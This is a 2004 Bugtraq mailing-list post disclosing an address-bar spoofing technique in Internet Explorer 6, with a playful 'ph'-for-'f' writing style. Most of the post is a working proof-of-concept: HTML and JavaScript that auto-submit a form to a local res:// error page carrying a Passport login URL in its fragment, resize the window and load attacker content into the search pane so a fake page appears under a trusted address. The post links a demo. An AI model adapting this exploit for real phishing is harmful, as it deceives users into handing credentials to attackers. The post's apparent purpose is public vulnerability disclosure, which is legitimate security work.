Bugtraq mailing list archives
Address Bar Spoophing for the Pheeshies: IntotheNet Explorer 6
From: "http-equiv () excite com " <1 () malware com>
Date: Wed, 8 Dec 2004 00:20:20 -0000
Tuesday, December 07, 2004 This is phunny in a pheeble kind of way: <phorm id="phoo" action="res://C:\\WINDOWS\\system3\\ shdoclc.dll//dnserror.htm#http://login.passport.net/uilogin.srf?id=666" method="post"> <input type="submit" value="default value"></phorm> <a id="phee" hreph="hotphemail.html" target="_search">test</a> <script> var malware = screen.availHeight; window.moveTo(0, 0); window.resizeTo(500,malware); phee.click() setTimeout("phoo.submit();",1); </script> This is the hook: res://C:\\WINDOWS\\system3\\ shdoclc.dll//dnserror.htm#http://login.passport.net/uilogin.srf? id=malware.is.here phorm submitted, leaves our manuphactured [or real] address in the address bar. What we then do is inject our proper html into the search pane which then gives the impression that the address and site are all correct. Dumbed Down Demo: http://www.malware.com/pzeesh.html Notes: 1. Much more elaborate window.open() and window.createPopup() can be moved and juggled around to mask almost anything to create a 'cleaner' look plus other "things" 2. Pretty phoolish if you phall for it 3. Pharewell then ! End Call -- http://www.malware.com
Current thread:
- Address Bar Spoophing for the Pheeshies: IntotheNet Explorer 6 http-equiv () excite com (Dec 08)